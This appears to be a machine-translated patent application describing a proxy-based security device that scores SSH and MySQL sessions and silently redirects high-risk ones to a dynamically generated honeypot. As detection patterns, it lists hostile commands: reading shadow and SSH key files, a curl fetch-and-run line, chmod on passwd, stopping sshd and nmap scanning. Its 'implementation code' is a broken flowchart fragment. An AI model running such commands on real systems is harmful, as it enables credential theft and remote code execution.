Non-inductive honeypot pulling method and network security device

Abstract

The application provides a non-inductive honeypot traction method and a network security device. The method comprises the following steps: obtaining and recording an interaction sequence of a client session in a proxy channel of a target network security device; performing behavior risk assessment on the client session based on the interaction sequence; if the result of the behavior risk assessment meets a first preset traction condition, generating a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence; under the condition that the network connection between the client session and the target network security device is not interrupted, switching the backend service corresponding to the client session from a real service to the first honeypot environment, so as to forward the access request of the client session to the first honeypot environment for processing. The application switches the backend service of the client session from the real service to the first honeypot environment while keeping the network connection between the client session and the target network security device uninterrupted, thereby realizing the dynamic traction of the authenticated high-risk session in the middle.

Description

Technical Field

[0001] This application relates to the field of network and host security protection technology, and more specifically, to a method for attracting honeypots without human intervention and a network security device. Background Technology

[0002] As digital transformation continues, enterprise IT architectures are evolving towards distributed and cloud-based architectures. Remote operations personnel accessing core assets such as SSH servers and MySQL databases deployed in the backend through intermediate proxy nodes like bastion hosts and zero-trust gateways has become an indispensable part of daily operations. However, current cyberattacks exhibit significant characteristics of credential-based attacks, concealment, and lateral movement. Attackers typically steal legitimate account passwords and other identity credentials, using legitimate access channels to bypass traditional perimeter defense systems and launch penetration attacks. Because these attacks possess the dual camouflage attributes of "legitimate identity authentication" and "legitimate access channels," they are difficult to accurately identify using traditional security measures, posing a direct and fatal threat to the security of core enterprise assets.

[0003] Currently, existing technologies mainly address the aforementioned security threats through two major technical paths: on the one hand, relying on access control devices such as bastion hosts and zero-trust gateways to implement refined access control, conduct risk assessments based on access behavior characteristics such as the number of failed login attempts and access frequency, and block high-risk access by methods such as disconnecting sessions and blacklisting source IPs; on the other hand, relying on decoy systems such as honeypots with pre-set simulated environments to capture attackers' attack behaviors and related threat information.

[0004] However, existing technologies, failing to deeply analyze the semantic information of SSH commands, SQL statements, and their execution results, rely solely on traffic levels and session outer-layer characteristics for risk assessment. This not only makes it difficult to accurately distinguish between normal operational and maintenance activities and covert attack behaviors (prone to false positives and false negatives), but also limits decisions on whether to redirect traffic to the access entry point or the overall session level, failing to dynamically redirect authenticated sessions that have executed probe commands. Furthermore, traffic redirection logic based on single events such as login failures is prone to mistakenly redirecting legitimate users while failing to effectively redirect attackers using leaked credentials. Even if redirection is achieved, the lack of a core protection system means the honeypot environment cannot dynamically adapt to key details such as directory structure and file content based on session history access patterns. Moreover, the migration requires interrupting existing connections, resulting in insufficient honeypot realism. The non-seamless migration process is easily detected by attackers, causing them to stop their attacks and leading to incomplete threat intelligence gathering. Summary of the Invention

[0005] This application provides a seamless honeypot redirection method and network security device. This method can switch the backend service corresponding to the client session from the real service to the first honeypot environment while maintaining the network connection between the client session and the target network security device without interruption. This achieves mid-term dynamic redirection of authenticated high-risk sessions and solves a series of technical defects in the existing technology in terms of risk identification accuracy, redirection timing rationality, honeypot simulation and seamless migration.

[0006] To achieve the above objectives, the technical solutions adopted in the embodiments of this application are as follows: In a first aspect, embodiments of this application provide a seamless honeypot redirection method applied to a network security device, comprising: acquiring and recording an interaction sequence corresponding to a client session within a proxy channel of the target network security device, the interaction sequence including: commands or query statements sent by the client, and execution results corresponding to the commands or query statements; performing a behavioral risk assessment on the client session based on the interaction sequence; if the result of the behavioral risk assessment meets a first preset redirection condition, generating a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence; the first preset redirection condition is used to determine whether to redirect the client session to the first honeypot environment; while maintaining uninterrupted network connection between the client session and the target network security device, switching the backend service corresponding to the client session from the real service to the first honeypot environment, so as to forward the access requests of the client session to the first honeypot environment for processing.

[0007] Secondly, a seamless honeypot redirection device is provided, applied to network security devices, comprising: an acquisition module for acquiring and recording the interaction sequence corresponding to a client session within the proxy channel of the target network security device, the interaction sequence including: commands or query statements sent by the client, and the execution results corresponding to the commands or query statements; an evaluation module for performing behavioral risk assessment on the client session based on the interaction sequence; a generation module for generating a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence if the result of the behavioral risk assessment meets a first preset redirection condition; the first preset redirection condition is used to determine whether to redirect the client session to the first honeypot environment; and a switching module for switching the backend service corresponding to the client session from the real service to the first honeypot environment while maintaining uninterrupted network connection between the client session and the target network security device, so as to forward the access requests of the client session to the first honeypot environment for processing.

[0008] Thirdly, a network security device is provided, comprising: a memory for storing executable program code; and a processor for calling and running the executable program code from the memory, causing the network security device to perform the method as described in any of the first aspects. Attached Figure Description

[0009] Various other advantages and benefits will become apparent to those skilled in the art upon reading the following detailed description of preferred embodiments. The accompanying drawings are for illustrative purposes only and are not intended to limit the scope of this application. Furthermore, the same reference numerals denote the same parts throughout the drawings. In the drawings: Figure 1 This is a schematic diagram of the structure of a network security device provided in an embodiment of this application; Figure 2 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure One ; Figure 3 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Two ; Figure 4 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Three ; Figure 5 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Four ; Figure 6 This is a schematic diagram of a non-sensory honey pot traction device provided in an embodiment of this application. Detailed Implementation

[0010] The technical solutions of this application will now be described clearly and in detail with reference to the accompanying drawings. In the description of the embodiments of this application, the terms "first" and "second" are used for descriptive purposes only and should not be construed as implying or suggesting relative importance or implicitly indicating the number of indicated technical features. Therefore, a feature defined with "first" and "second" may explicitly or implicitly include one or more of that feature.

[0011] The following detailed description of the honeypot traction method and network security device of this application, with reference to the accompanying drawings and multiple embodiments, will be provided in detail.

[0012] Optionally, Figure 1 This is a schematic diagram of the structure of a network security device provided in an embodiment of this application. Figure 1 As shown, the network security device 100 may include a processor 110 and a memory 120.

[0013] The memory 120 stores machine-executable instructions that can be executed by the processor 110. When the network security device 100 is running, these machine-executable instructions are executed. The processor 110 and the memory 120 communicate via a bus. The processor 110 can execute these machine-executable instructions to implement the seamless honeypot luring method.

[0014] The memory 120, processor 110, and bus components are electrically connected directly or indirectly to enable data transmission or interaction. For example, these components can be electrically connected via one or more communication buses or signal lines. The mobile storage device includes at least one software function module that can be stored in the memory 120 as software or firmware or embedded in the operating system (OS) of a network security device. The processor 110 is used to execute executable modules stored in the memory 120, such as the software function modules and computer programs included in the non-sensory honeypot tethering method for mobile storage media.

[0015] The memory 120 may be, but is not limited to, random access memory (RAM), read-only memory (ROM), programmable read-only memory (PROM), erasable programmable read-only memory (EPROM), electrically erasable programmable read-only memory (EEPROM), etc.

[0016] The network security device 100 can be selected according to actual needs; for example, it can be a computer device. Furthermore, the network security device 100 has software capable of executing a honeypot-like luring method.

[0017] The seamless honeypot luring method provided in this application embodiment can be executed by the processor in the network security device 100. The seamless honeypot luring method provided in this application embodiment will be explained further below. Figure 2 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure One .like Figure 2 As shown, the method may include: S210. Within the proxy channel of the target network security device, acquire and record the interaction sequence corresponding to the client session.

[0018] The interaction sequence includes at least: the commands or queries sent by the client, and the execution results of the commands or queries. Because simply obtaining the commands is insufficient to determine the access intent (e.g., if a client sends `cat / etc / shadow`, the risk can only be determined by whether the execution result returns sensitive file content), and simply obtaining the results is insufficient to trace the source of the behavior, only by combining both can the client's access trajectory be fully reconstructed (e.g., the execution logic of SSH commands, the semantic direction of MySQL queries). This overcomes the limitations of existing technologies that rely solely on command keywords or traffic characteristics to determine risk, providing data support for accurately distinguishing between normal operations and covert attacks, thus avoiding false positives and false negatives.

[0019] In one possible implementation, in remote access scenarios where data is forwarded within the proxy channel of the target network security device (such as bastion hosts, zero-trust gateways, database proxies, and other intermediate node forwarding scenarios), the proxy channel acts as an intermediary between the client and the backend service, intercepting all plaintext protocol interaction data packets to ensure that the acquired data is not missing or tampered with. If data is obtained only at the access point or network boundary without the proxy channel, the data will be incomplete because the complete interaction content during the session execution process (such as probe commands executed midway, multi-step combined attack statements, etc.) cannot be captured.

[0020] S220. Based on the interaction sequence, conduct behavioral risk assessment of the client session.

[0021] One possible approach distinguishes between legitimate access and malicious attacks without interfering with normal operations and maintenance. Interaction sequences are chosen as the core basis for risk assessment because existing technologies cannot deeply analyze the semantic information of SSH commands, SQL statements, and their execution results. This leads to risk assessment remaining at the level of superficial features such as login failure counts and access frequency, making it difficult to identify legitimate identities and credentials-based attacks through legitimate channels. Interaction sequences, however, contain command semantics and execution results that enable in-depth assessment at the behavioral intent level: for example, if a client sends an SQL injection statement and the execution result returns sensitive database fields, it can be directly identified as high-risk; if a client sends a multi-level directory traversal command (find / -name "*.conf") and successfully obtains the system configuration file content, it can be identified as a probing attack. In contrast, existing technologies, lacking this kind of semantic-level analysis, often misjudge complex commands used in normal operations and maintenance as risky behaviors, or fail to detect covert probing commands from attackers. Therefore, by using the logic of interaction sequence → semantic parsing → risk assessment, the problem of crude identification and easy false positives and false negatives in existing technologies is solved, providing an accurate basis for decision-making on whether to guide to the honeypot, ensuring that the guiding behavior is only aimed at truly high-risk sessions and does not affect normal operation and maintenance services.

[0022] S230. If the result of the behavioral risk assessment meets the first preset traction condition, then the first honeypot environment is generated based on the access behavior characteristics of the client session corresponding to the interaction sequence.

[0023] The first preset redirection condition is used to determine whether to redirect client sessions to the first honeypot environment. This condition can be used to filter out high-risk sessions that have breached authentication and exhibit clear attack intent, ensuring the redirection behavior is targeted and avoiding indiscriminate redirection. The first preset redirection condition can be selected based on actual circumstances; for example, it can be selected as semantic analysis identifying three or more probe commands and / or execution results containing sensitive data reading records.

[0024] In one possible implementation, if the behavioral risk assessment results meet the first preset traction condition, a first honeypot environment is generated based on the access behavior characteristics of the client session corresponding to the interaction sequence. These access behavior characteristics include at least: command types in the interaction sequence (such as SQL queries, file reading, directory traversal), execution result characteristics (such as returned data format, field types), session context, asset type, and related information such as common system layouts (e.g., if the client accesses a MySQL database, the first honeypot environment needs to generate a matching database table structure; if the client has traversed the / var / log directory, the honeypot needs to generate that directory and the corresponding log files). This avoids the problem of existing static honeypots having fixed directory structures and file content that doesn't match the real environment, making them easily detectable by attackers.

[0025] S240. While maintaining uninterrupted network connection between the client session and the target network security device, switch the backend service corresponding to the client session from the real service to the first honeypot environment so as to forward the access requests of the client session to the first honeypot environment for processing.

[0026] In one possible implementation, a backend binding switching mechanism within the proxy channel can be used to switch the backend service corresponding to the session without altering the client's TCP connection, target address, or authentication status. This misleads the client into believing they are still interacting with the real service, ensuring that attackers will not detect security intervention due to connection interruptions, address changes, or other abnormal signals, thus allowing them to continue their attacks. This provides a guarantee for the honeypot to fully capture threat intelligence (such as attack tools, attack paths, and payload characteristics). Then, by switching the backend service, all subsequent access requests from the high-risk session are forwarded to the primary honeypot environment, completely isolating the attacker from the real service (such as SSH servers, MySQL databases, and other core assets). This prevents attackers from further infiltrating the real environment to steal sensitive data or damage the system. Simultaneously, because the primary honeypot environment is dynamically generated based on the session's access behavior characteristics, it can provide interactive feedback consistent with the real service (such as executing commands returning fake data in a matching format, and querying the database returning realistic results), further enhancing the seamless effect and ensuring that attackers remain within the primary honeypot environment until they are fully traced or dealt with.

[0027] The seamless honeypot redirection method provided in this application acquires and records the interaction sequence corresponding to the client session within the proxy channel of the target network security device. By directly capturing application-layer semantic-level interaction data, it overcomes the limitations of existing technologies that rely solely on traffic-level and session outer-layer characteristics for risk assessment. It achieves deep analysis of SSH commands, SQL statements, and their execution results, fundamentally solving the problem of accurately distinguishing between normal operation and maintenance and covert attack behaviors, effectively reducing the risk of false positives and false negatives. Based on the interaction sequence, it performs behavioral risk assessment of the client session, rather than relying on single events such as login failure. This avoids false redirection of normal users and can identify high-risk sessions using leaked credentials to execute probe commands, solving the problem of insufficient redirection effectiveness caused by unreasonable redirection logic in existing technologies. If the behavioral risk assessment result meets the criteria for determining whether to redirect the client session to the first honeypot environment... The first preset traction condition generates a first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence. This allows the honeypot environment to dynamically adapt to key details such as directory structure and file content according to the session's historical access trajectory, significantly improving the honeypot's realism and solving the defects of existing technologies where honeypot environments are statically fixed and lack realism. Finally, while maintaining an uninterrupted network connection between the client session and the target network security device, the backend service corresponding to the client session is switched from the real service to the first honeypot environment, realizing dynamic traction of authenticated high-risk sessions midway. This avoids the problem of existing technologies requiring connection interruption to complete the migration and being detected by attackers, while continuously capturing subsequent attack behaviors of attackers, ensuring the integrity of threat intelligence collection, and solving a series of technical defects of existing technologies in terms of risk identification accuracy, traction timing rationality, honeypot realism, and seamless migration.

[0028] Figure 3 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Two .like Figure 3 As shown, the above method assesses behavioral risks of client sessions based on interaction sequences, including: S310. Match the interaction sequence with the preset attack behavior pattern to obtain the matching result.

[0029] The preset attack behavior patterns include at least: a pattern of continuously executing multiple attack behavior characteristics within a preset time period and / or an abnormal query pattern that initiates similar structures or intentions against multiple different backend services. The preset time period can be selected according to actual conditions; for example, it can be set to 5 minutes or 10 minutes, and can be flexibly adjusted according to different backend service types (such as SSH servers, MySQL databases, etc.) or operational scenarios to avoid misjudgments due to scenario differences. The attack behavior characteristics commands are a predefined set of commands with clear attack intent or sensitive operation attributes, including but not limited to: sensitive file reading commands (such as `cat / etc / shadow`, `more / root / .ssh / id_rsa`), system configuration modification commands (such as `chmod 777 / etc / passwd`, `service sshd stop`), vulnerability exploitation commands (such as `bash -c "$(curl malicious IP)"`, SQL injection related commands), port scanning / host probing commands (such as `nmap target IP`, `ping -c 10 network segment address`), etc. These attack behavior characteristics commands are extracted through security attack and defense experience, vulnerability database data, and attack log analysis, and are included in the pattern library management.

[0030] Among these, multiple different backend services refer to backend assets with different service types or instances accessed by client sessions through proxy nodes (such as MySQL database A, MySQL database B, SSH server C, etc. within the same enterprise, which need to be distinguished by service IP, port, service name, etc.). Abnormal queries with similar structure or intent involve two layers of judgment logic: First, structural similarity, meaning the query statements have highly consistent syntax structure, field combinations, and condition formats (e.g., all SQL queries contain OR1=1 injection fragments, all use the uniform illegal format of SELECT * FROM table_name WHERE condition), judged by parsing the abstract syntax tree (AST) of the query statements and comparing the similarity of syntax structure; Second, similar intent, meaning the core purpose of the query statements is consistent (e.g., all attempt to access unauthorized data, all attempt to probe database table structure, all attempt to perform malicious injection operations), judged by semantic parsing to identify query intent (e.g., extracting target fields, operation types, sensitivity levels), and matching it with preset abnormal intent tags (e.g., unauthorized access, data theft, structure probing, etc.). The definition of abnormal queries needs to be combined with the query characteristics of normal operation and maintenance scenarios. If the query behavior deviates from the normal operation and maintenance query pattern of the backend service (such as ordinary operation and maintenance would not query the same sensitive field across multiple databases), and meets the condition of similar structure or intent, it is determined to meet the pattern in order to identify scenarios such as lateral movement attacks and batch penetration (such as attackers using the same injection statement to try to attack multiple databases).

[0031] It should be noted that the two types of preset attack behavior patterns can be parallel or combined. That is, the preset attack behavior pattern library can contain only one type of pattern or both types of patterns at the same time. During the matching process, the interaction sequence of the client session can match only one type of pattern or match both types of patterns at the same time. Both are considered to conform to the preset attack behavior pattern, ensuring coverage of different types of attack scenarios (such as single command attacks, single cross-service query attacks, mixed attacks, etc.).

[0032] In one possible implementation, the interaction sequence is a set of full interaction data collected in real time and organized chronologically during the execution of the client session by the proxy node. It includes at least: active operation instructions such as SSH commands and SQL query statements sent by the client, as well as passive feedback data such as execution results and error messages returned by the backend service, forming an ordered pairing sequence of commands / queries and results.

[0033] The preset attack behavior pattern library is a set of rules pre-built based on known attack scenarios, hacker attack habits, and security vulnerability exploitation characteristics, and it also supports dynamic updates to add new attack patterns.

[0034] The system performs a matching operation between the interaction sequence and preset attack behavior patterns. First, the interaction sequence is preprocessed to extract key features (such as command type, execution frequency, query structure, and operation object). Then, a dual matching logic of feature comparison and semantic analysis is employed. For example, for structured commands / queries, they are directly compared with the feature items of the preset pattern using regular expression matching and keyword matching. For unstructured complex interactions (such as nested commands or fuzzy queries), the similarity is calculated by combining the semantic parsing results of the commands (such as attack intent identification and sensitive operation determination) with the intent features of the preset pattern. A matching result is then generated. This matching result includes at least the following: if the matching degree between the features / intent of the interaction sequence and a certain type of preset attack behavior pattern reaches a preset threshold (e.g., above 80%), a successful match and the corresponding pattern type are output; if the matching degree does not reach the threshold or there is no corresponding pattern, a match failure is output; if multiple patterns are matched simultaneously, a multi-pattern matching list and their respective matching degrees are output, ensuring that the matching result fully reflects the correlation between the interaction sequence and the attack pattern.

[0035] S320. Based on the matching results, conduct a behavioral risk assessment of the client session to obtain the behavioral risk level of the client session.

[0036] In one possible implementation, a behavioral risk assessment of the client session is performed based on the matching results. First, a fixed risk weight is assigned to each preset attack behavior pattern (e.g., a continuous attack command pattern has a weight of 60 points, and a cross-service abnormal query pattern has a weight of 40 points; the weight can be adjusted according to the severity of the attack). Then, a base score is calculated based on the matching degree (e.g., a perfect match gets full marks, and partial matches are scored proportionally; for example, an 80% matching degree gives 80% of the pattern's weight). If multiple patterns are matched simultaneously, the scores of each pattern are summed to obtain a total risk score. Furthermore, if the matching frequency exceeds a preset threshold (e.g., the same pattern is triggered 2 times or more), an additional penalty score is added to the total risk score (e.g., 20% of the total risk score is added each time). This yields the behavioral risk level of the client session.

[0037] The behavioral risk level is divided into three categories: low risk, medium risk, and high risk, with corresponding score thresholds (e.g., 0-30 points for low risk, 31-70 points for medium risk, and 71-100 points for high risk). The calculated total risk score is compared with the score thresholds, and if it falls within the corresponding range, it is determined to be at that risk level. For example, a partial match to a cross-service abnormal query pattern (e.g., a score of 32 points) is considered medium risk, while a complete match to a continuous attack command pattern triggered twice (e.g., a score of 60+12=72 points) is considered high risk. The entire evaluation process is strictly based on the matching results, without introducing any additional irrelevant factors, ensuring that the risk level objectively reflects the attack risk level of the client session, and is directly linked to subsequent dynamic redirection decisions (e.g., a high-risk session triggers redirection in the first honeypot environment, while a low-risk session is allowed to proceed normally).

[0038] The seamless honeypot targeting method provided in this application generates a matching result by accurately matching the interaction sequence of a client session with a preset attack behavior pattern. Based on this matching result, a deep behavioral risk assessment of the client session is conducted, ultimately outputting the specific behavioral risk level of the client session. Therefore, by systematically covering typical covert attack scenarios such as continuous attack commands and cross-service similar anomaly queries, this application effectively overcomes the bottlenecks of false negatives and false positives that are prone to occur in traditional single-feature matching. It achieves accurate capture of attack behavior and quantitative definition of risk levels, improving the targeting and effectiveness of security protection in remote access scenarios.

[0039] Figure 4 A flowchart illustrating a non-intrusive honeypot traction method provided in this application embodiment. Figure Three .like Figure 4 As shown, the above method generates the first honeypot environment based on the access behavior characteristics of the client session corresponding to the interaction sequence, including: S410. Construct the initial honeypot environment framework.

[0040] In one possible implementation, an initial honeypot environment architecture with basic operational capabilities is built based on the environmental foundational information associated with the client session (such as the existing context of the client session, the type of asset accessed, such as an SSH server / MySQL database, common system layouts such as Linux directory hierarchy, and the default database architecture). For example, the proxy node matches the basic environmental characteristics of the database service based on the type of the backend target asset (e.g., if it identifies an access to a MySQL database, it matches the system skeleton of the corresponding Linux distribution; if it is an SSH server, it adapts to the system skeleton of the corresponding Linux distribution). Then, it automatically initializes components such as the operating system kernel version, basic service processes (e.g., sshd, mysqld), core directory hierarchy (e.g., / etc, / var / log, / usr / local, or the database data directory), and basic configuration file templates (e.g., empty templates of nginx.conf and my.cnf), forming an initial honeypot environment framework containing only the basic skeleton and no real business data.

[0041] S420. Based on the interaction sequence, obtain the access behavior characteristics of the client session.

[0042] The access behavior characteristics include at least the following: directory structure list, file resources, database table structure, query statements, and query result data. These access behavior characteristics are key data extracted from the interaction sequence and directly related to the actual access scenario. Specifically, the directory structure list comes from the execution results of commands such as `ls`, `find`, and `tree` executed by the client, recording directory paths and hierarchical relationships existing in the real environment (e.g., ` / usr / local / nginx / conf`); file resources include at least the following characteristics: file names, file sizes, modification timestamps, and file formats accessed by the client through commands such as `cat`, `stat`, and `head` (e.g., `access.log-202405`, `nginx.conf`); and the database table structure comes from the client's execution of commands such as `show tables`, `desctable`, and `show create`. The return results of commands such as `table` include at least the following core information: table name, field names, field types, and field lengths (e.g., the `user` table contains `id` (int) and `name` (varchar) fields); the query statement is the complete SQL statement extracted by the proxy node through parsing the MySQL protocol (including directly executed COM_QUERY command statements, prepared statements, and complete statements concatenated with parameters), as well as command statements related to data querying and resource access in the SSH session; the query result data is the response data of the backend service to the client commands, including the result set returned by the database, the number of rows affected, error codes, field descriptions, as well as the text content returned by file reading commands, the list of entries returned by directory queries, etc., which are bound to the corresponding commands to form a complete feature.

[0043] In one possible implementation, the access behavior characteristics of the client session are obtained based on the interaction sequence. By using the proxy node as the protocol forwarding hub, the full features reflecting the access intent and operation trajectory are extracted by intercepting and parsing the "command-response" interaction data between the client and the backend service.

[0044] For example, the proxy node captures all protocol data packets between the client and the real backend service in real time (such as MySQL's COM_QUERY and COM_STMT_EXECUTE command packets, and SSH's exec command packets), and parses them into a complete interaction sequence according to the protocol specifications (including various commands sent by the client and the execution results returned by the backend). From this interaction sequence, full access behavior data is extracted. This full access behavior data includes: high-frequency structured features covered by the rules, as well as long-tail commands (such as multi-level directory traversal and nested script execution) and complex outputs (such as long logs and nested query results) that are not covered. Finally, an access behavior feature set is formed, which provides a basis for subsequent simulated resource construction.

[0045] S430. Based on access behavior characteristics, construct corresponding simulated resources in the initial honeypot environment framework.

[0046] In one possible approach, constructing corresponding simulated resources based on access behavior characteristics involves creating fake resources that are highly consistent with real access scenarios on the basic framework of the initial honeypot environment through two core methods: desensitization processing and spoofing generation, thereby ensuring the realism of the honeypot environment.

[0047] For example, for the directory structure list, a completely identical directory tree is created in the initial honeypot environment framework according to the extracted paths (e.g., replicating directory levels such as / var / log and / home / admin); for file resources, based on the extracted file characteristics, simulated files with names, attributes, and content styles consistent with real files are created through de-identification processing (e.g., masking and replacing sensitive information such as IP addresses and keys in real file content) or spoofing generation (e.g., using a large model to generate fake logs and configuration content based on file format and size characteristics); for the database table structure, simulated tables with the same names and field structures as real tables are created in the database service of the initial framework (e.g., creating an empty table based on the real user table structure, retaining field types and constraints); for query statements and query result data, the semantic characteristics of the statements and result formats (e.g., the number of columns, data types, and error message text of the query results) are recorded to provide templates for generating matching response results during subsequent interactions; for complex outputs corresponding to long-tail commands not covered by the rules, the command semantics are parsed through a preset large model to generate simulated responses that conform to the logic of the real environment, ensuring that all simulated resources and access behavior characteristics accurately correspond without significant differences.

[0048] S440. Based on simulated resources, generate the first honeypot environment.

[0049] In one possible implementation, a final first honeypot environment with full interactive capabilities and high realism is formed by deeply integrating simulated resources (such as directories, files, database tables, response templates, etc.) with the initial honeypot environment framework.

[0050] For example, the constructed simulated directories and files are deployed hierarchically to the corresponding paths of the initial framework, and the simulated database tables are mounted to the framework's database service. Simultaneously, the matching templates for query statements and response results are entered into the first honeypot's interactive response system. The integrated first honeypot environment undergoes consistency verification to ensure that the directory structure, file attributes, database table structure, and command response format are completely consistent with the real environment (e.g., executing the `ls` command returns a simulated directory list, and executing an SQL query returns a simulated result set that conforms to the specified format). Dynamic adaptation and adjustments are made based on session history behavior (e.g., if an attacker has already queried the `user` table, ensure that the field naming style and data distribution characteristics when subsequently querying the `order` table remain consistent with the `user` table). Ultimately, this forms a first honeypot environment capable of supporting seamless interaction, ensuring that after a client session is redirected, attackers cannot identify honeypot attributes through operational feedback, while also guaranteeing the integrity of threat intelligence collection.

[0051] For example, the implementation code is as follows: config: theme: neo look: classic flowchart TB subgraph s1["Dynamic honeypot environment generation process"] direction TB F1 ["Extract historical command and execution result sequence"] F2["Abstract accessed directories, files, and SQL structures"] F3 ["Rule-based and large-model-based generation of realistic environments"] F["Dynamic Honeypot Environment Generation and Alignment Engine"] (Generate a custom environment based on historical commands and results) End The seamless honeypot redirection method provided in this application aims to achieve highly realistic adaptation and seamless redirection of the honeypot environment. First, an initial honeypot environment framework is constructed to lay a foundation for adaptation, ensuring the compliance and scalability of the environment setup. Then, based on the interaction sequence of client sessions, its access behavior characteristics are comprehensively acquired, achieving full-dimensional capture of the real access trajectory and providing accurate data support for subsequent realistic construction. Subsequently, based on the acquired access behavior characteristics, corresponding simulated resources are specifically constructed within the initial honeypot environment framework. By restoring the resource distribution and interaction logic of the real environment, the consistency between simulated resources and real access scenarios is ensured. Finally, a first honeypot environment is generated based on the simulated resources. This first honeypot environment possesses interactive feedback capabilities that highly match the real business environment while avoiding sensitive data leakage, providing a highly realistic, secure, and compliant carrier for the seamless redirection of subsequent risky sessions.

[0052] Optionally, the above method constructs corresponding simulated resources in the initial honeypot environment framework based on access behavior characteristics, including: We can extract the corresponding real-world environmental data from the access behavior characteristics.

[0053] The real environment data content refers to the full amount of raw data extracted by the proxy node (such as bastion host, zero trust gateway, database proxy, etc.) through protocol parsing during the interaction between the client and the real backend service. This includes, but is not limited to: database table structure and data, file content (configuration files, log files, etc.), command execution results (such as Linux command output, SQL query result set), system configuration parameters, etc.

[0054] In one possible implementation, the data corresponding to the access behavior characteristics are intercepted and obtained by the proxy node in a man-in-the-middle mode. That is, the proxy node acts as a protocol forwarding hub between the client and the backend service (such as SSH server, MySQL database, etc.), and captures application layer protocol packets in all TCP connections (such as MySQL's COM_QUERY, COM_STMT_PREPARE / COM_STMT_EXECUTE type packets, SSH command interaction packets, etc.). Subsequently, the proxy node decodes the intercepted data packets according to the protocol specifications of the corresponding service (such as MySQL protocol, SSH protocol), extracting the original data in the message body; for excessively long SQL statements or commands, it concatenates the segments to be transmitted in chunks according to the data packet sequence number; for preprocessed SQL statements, it extracts the template and placeholder parameters and concatenates them into a complete execution statement; at the same time, it filters invalid information such as protocol control characters and null characters, retaining pure semantic data; finally, it binds the parsed command with the corresponding backend execution result (such as query result set, error code, number of affected rows) to form complete real environment data content, which includes at least: database table data, file content, configuration parameters, command execution feedback, and other original information directly related to the access behavior.

[0055] Within the initial honeypot environment framework, based on preset conversion rules, the real environment data content is either spoofed or desensitized to generate corresponding simulated resources.

[0056] The preset conversion rules are standardized processing rules adapted to the needs of data anonymization and spoofing, respectively. The data anonymization rules include: mask replacement (e.g., mobile phone number 138****1234), random replacement (e.g., replacing the core field of the ID card number with a random number), and format-preserving data anonymization (e.g., retaining the first 4 and last 4 digits of the bank card number, and replacing the middle field), ensuring that the processed data cannot be reverse-engineered to restore sensitive information and retains the original format. The spoofing rules include: rule templates (e.g., setting generation logic based on real data distribution characteristics, such as order numbers being 10 digits and log times concentrated between 9:00-21:00), large model-assisted generation (e.g., generating fake content matching the real scenario through a large model for complex outputs corresponding to long-tail commands), and dynamic adaptation rules (e.g., adjusting the spoofing strategy according to session history behavior, such as maintaining consistent field naming style when spoofing the order table if the attacker has queried the user table).

[0057] In one possible implementation, based on the initial honeypot environment framework, and using preset transformation rules, the data content of the real environment is categorized and processed. For example, for data containing sensitive information (such as user mobile phone numbers, ID card numbers, server keys, core configuration parameters, etc.), anonymization transformation is performed, deleting or replacing sensitive fields while retaining non-sensitive features such as data format, length, and field type. For non-sensitive data that does not require anonymization but needs to be simulated (such as directory structure, file naming rules, query result distribution characteristics, etc.), spoofing transformation is performed, generating fake but highly realistic content based on the characteristics or rule templates of the anonymized data. In other words, specific resources are populated into the initial honeypot environment framework, including: anonymized database data with the same format as the real environment, spoofed log files and configuration files, a directory structure that conforms to the system layout, and fake query results that can respond to commands, forming a highly realistic honeypot environment resource that can support seamless manipulation.

[0058] The seamless honeypot attraction method provided in this application first parses the corresponding real-world environment data content from access behavior characteristics. Then, within the initial honeypot environment framework, based on preset transformation rules, it performs spoofing or de-identification transformation on the real-world environment data content to ensure a high degree of consistency between simulated resources and real business scenarios. Simultaneously, the de-identification transformation removes sensitive information, mitigating the risk of data leakage. Finally, it generates corresponding simulated resources. Therefore, this application not only provides an interactive foundation that matches the real environment for subsequent seamless attraction, preventing attackers from detecting honeypot attributes due to abnormal resource characteristics, but also ensures that data processing complies with relevant data security laws and regulations, simultaneously achieving the dual technical effects of realistic deception and security compliance.

[0059] Optionally, the above method further includes: If the real environment data content cannot be spoofed or desensitized based on the preset conversion rules, the generation model is invoked, and corresponding simulated resource content is generated based on access behavior characteristics and the environmental basic information associated with the client session.

[0060] The basic environmental information includes at least one of the following: access context information of the established client session, asset type information accessed by the client session, and system layout information corresponding to the asset type. The access context information is the real-time interaction process data recorded by the proxy node from the start of the client session to the current moment. Specifically, it includes: the sequence of commands executed by the client (e.g., command type, execution order, parameter configuration), the execution result feedback of the commands (e.g., success output, error message, number of affected rows), the accessed directory paths / database tables / fields, session duration, and credential characteristics used during the authentication phase. The implementation is as follows: the proxy node intercepts all protocol data packets between the client and the backend service, parses them, and stores the interaction data in timestamp order, forming a session-level context log. When a model generation function needs to be called, key interaction features are extracted from the log as a scenario reference for model generation content (e.g., generating subsequent outputs that conform to the interaction logic based on historical command types).

[0061] The asset type information accessed by the client session refers to the service type of the backend core assets currently accessed by the client, specifically including: SSH server, MySQL database, web server, file server, etc. This is implemented as follows: During the session establishment phase, the proxy node identifies the service type through protocol parsing (e.g., parsing the MySQL protocol identifier in the TCP packet to determine it's a database asset, parsing the SSH protocol handshake packet to determine it's an SSH server asset). If protocol parsing cannot directly identify the type, it can supplement the determination by combining preset asset classification configurations (e.g., the IP-type mapping table of backend assets). The purpose of these preset asset classification configurations is to provide asset attribute constraints for the generated model, ensuring that the generated simulated resources conform to the technical characteristics of that type of asset (e.g., the simulated content of a MySQL asset must conform to SQL syntax specifications, and the simulated content of a Linux SSH server must conform to the Shell command output style).

